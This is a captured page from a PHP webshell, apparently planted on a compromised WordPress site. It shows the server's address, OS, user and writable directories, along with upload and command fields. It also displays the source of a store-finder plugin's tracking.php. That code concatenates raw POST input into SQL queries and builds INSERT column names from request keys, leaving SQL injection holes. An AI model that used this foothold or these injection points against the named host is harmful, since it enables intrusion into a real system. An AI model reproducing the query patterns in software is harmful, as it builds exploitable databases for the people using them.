403Webshell
Server IP : 89.248.107.232  /  Your IP : 216.73.217.70
Web Server : Apache
System : Linux host2.kasilh.com 5.14.0-687.36.1.el9_8.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Aug 7 05:40:49 EDT 2026 x86_64
User : seg ( 10005)
PHP Version : 7.4.33
Disable Function : opcache_get_status
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/vhosts/seg-sa.es/grupo-seg.com/wp-content/plugins/superstorefinder-wp/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/vhosts/seg-sa.es/grupo-seg.com/wp-content/plugins/superstorefinder-wp//tracking.php
<?php
include("ssf-wp-inc/includes/ssf-wp-env.php");
global $ssf_wp_vars,$wpdb;
if(isset($_POST['ssf_wp_track_add'])){
	$_POST['ssf_wp_track_add'] = trim(preg_replace('/\s*\([^)]*\)/', '', $_POST["ssf_wp_track_add"]));
    $_POST['ssf_wp_track_date']=date('Y-m-d');
	$check=$wpdb->get_results("SELECT * FROM ".SSF_WP_TRACKING_TABLE." WHERE ssf_wp_track_add='".$_POST['ssf_wp_track_add']."' AND ssf_wp_track_date='".$_POST['ssf_wp_track_date']."'", ARRAY_A); 
	if(!empty($check)){	
			$_POST['ssf_wp_track_count']=$check[0]['ssf_wp_track_count']+1;
			$wpdb->query($wpdb->prepare("UPDATE ".SSF_WP_TRACKING_TABLE." SET ssf_wp_track_count='".$_POST['ssf_wp_track_count']."' WHERE ssf_wp_track_id='%d'", $check[0]['ssf_wp_track_id'])); 
	}else{
		$_POST['ssf_wp_track_count']=1;
		$fieldList=""; $valueList="";
		foreach ($_POST as $key=>$value) {
			if (preg_match("@ssf_wp_@", $key)) {
				$fieldList.="$key,";
				if (is_array($value)){
					$value=serialize($value); //for arrays being submitted
					$valueList.="'$value',";
				} else {
					$valueList.=$wpdb->prepare("%s", stripslashes($value)).",";
				}
			}
		}
		$fieldList=substr($fieldList, 0, strlen($fieldList)-1);
		$valueList=substr($valueList, 0, strlen($valueList)-1);
		$wpdb->query("INSERT INTO ".SSF_WP_TRACKING_TABLE." ($fieldList) VALUES ($valueList)");
	}
}
if(isset($_POST['ssf_wp_trk_store'])){
    $_POST['ssf_wp_trk_date']=date('Y-m-d');
	
	$_POST['ssf_wp_trk_store'] = trim(preg_replace('/\s*\([^)]*\)/', '', $_POST["ssf_wp_trk_store"]));
    $check=$wpdb->get_results("SELECT * FROM ".SSF_WP_TRACKING_STORE." WHERE ssf_wp_trk_store='".$_POST['ssf_wp_trk_store']."' AND ssf_wp_trk_date='".$_POST['ssf_wp_trk_date']."'", ARRAY_A); 
	if(!empty($check)){	
		$_POST['ssf_wp_trk_count']=$check[0]['ssf_wp_trk_count']+1;
		$wpdb->query($wpdb->prepare("UPDATE ".SSF_WP_TRACKING_STORE." SET ssf_wp_trk_count='".$_POST['ssf_wp_trk_count']."' WHERE ssf_wp_trk_id='%d'", $check[0]['ssf_wp_trk_id'])); 
	}else{
		$_POST['ssf_wp_trk_count']=1;
		$fieldList=""; $valueList="";
		foreach ($_POST as $key=>$value) {
			if (preg_match("@ssf_wp_@", $key)) {
				$fieldList.="$key,";
				if (is_array($value)){
					$value=serialize($value); //for arrays being submitted
					$valueList.="'$value',";
				} else {
					$valueList.=$wpdb->prepare("%s", stripslashes($value)).",";
				}
			}
		}
		$fieldList=substr($fieldList, 0, strlen($fieldList)-1);
		$valueList=substr($valueList, 0, strlen($valueList)-1);
		$wpdb->query("INSERT INTO ".SSF_WP_TRACKING_STORE." ($fieldList) VALUES ($valueList)");
	}
}
if(isset($_POST['ssf_store_name'])){
	 //$_POST['ssf_wp_trk_store']= str_replace("&","&amp;",$_POST['ssf_store_name']);

	 $_POST['ssf_wp_trk_store'] = trim(preg_replace('/\s*\([^)]*\)/', '', $_POST["ssf_store_name"]));
	 
     $_POST['ssf_wp_trk_date']=date('Y-m-d');
    $check=$wpdb->get_results("SELECT * FROM ".SSF_WP_TRACKING_STORE." WHERE ssf_wp_trk_store='".$_POST['ssf_wp_trk_store']."' AND ssf_wp_trk_date='".$_POST['ssf_wp_trk_date']."'", ARRAY_A); 
	
	
	if(!empty($check)){	
		$_POST['ssf_wp_tel_count']=$check[0]['ssf_wp_tel_count']+1;
		$wpdb->query($wpdb->prepare("UPDATE ".SSF_WP_TRACKING_STORE." SET ssf_wp_tel_count='".$_POST['ssf_wp_tel_count']."' WHERE ssf_wp_trk_id='%d'", $check[0]['ssf_wp_trk_id'])); 
	}else{
		$_POST['ssf_wp_tel_count']=1;
		$fieldList=""; $valueList="";
		foreach ($_POST as $key=>$value) {
			if (preg_match("@ssf_wp_@", $key)) {
				$fieldList.="$key,";
				if (is_array($value)){
					$value=serialize($value); //for arrays being submitted
					$valueList.="'$value',";
				} else {
					$valueList.=$wpdb->prepare("%s", stripslashes($value)).",";
				}
			}
		}
		$fieldList=substr($fieldList, 0, strlen($fieldList)-1);
		$valueList=substr($valueList, 0, strlen($valueList)-1);
		$wpdb->query("INSERT INTO ".SSF_WP_TRACKING_STORE." ($fieldList) VALUES ($valueList)");
	}
}

if(isset($_POST['ssf_email_name'])){
	 //$_POST['ssf_email_name']= str_replace("&","&amp;",$_POST['ssf_email_name']);
	 $_POST['ssf_email_name'] = trim(preg_replace('/\s*\([^)]*\)/', '', $_POST["ssf_email_name"]));
     $_POST['ssf_wp_trk_date']=date('Y-m-d');
    $check=$wpdb->get_results("SELECT * FROM ".SSF_WP_TRACKING_STORE." WHERE ssf_wp_trk_store='".$_POST['ssf_email_name']."' AND ssf_wp_trk_date='".$_POST['ssf_wp_trk_date']."'", ARRAY_A); 
	
	
	if(!empty($check)){	
		$_POST['ssf_wp_email_count']=$check[0]['ssf_wp_email_count']+1;
		$wpdb->query($wpdb->prepare("UPDATE ".SSF_WP_TRACKING_STORE." SET ssf_wp_email_count='".$_POST['ssf_wp_email_count']."' WHERE ssf_wp_trk_id='%d'", $check[0]['ssf_wp_trk_id'])); 
	}else{
		$_POST['ssf_wp_email_count']=1;
		$fieldList=""; $valueList="";
		foreach ($_POST as $key=>$value) {
			if (preg_match("@ssf_wp_@", $key)) {
				$fieldList.="$key,";
				if (is_array($value)){
					$value=serialize($value); //for arrays being submitted
					$valueList.="'$value',";
				} else {
					$valueList.=$wpdb->prepare("%s", stripslashes($value)).",";
				}
			}
		}
		$fieldList=substr($fieldList, 0, strlen($fieldList)-1);
		$valueList=substr($valueList, 0, strlen($valueList)-1);
		$wpdb->query("INSERT INTO ".SSF_WP_TRACKING_STORE." ($fieldList) VALUES ($valueList)");
	}
}
?>

Youez - 2016 - github.com/yon3zu
LinuXploit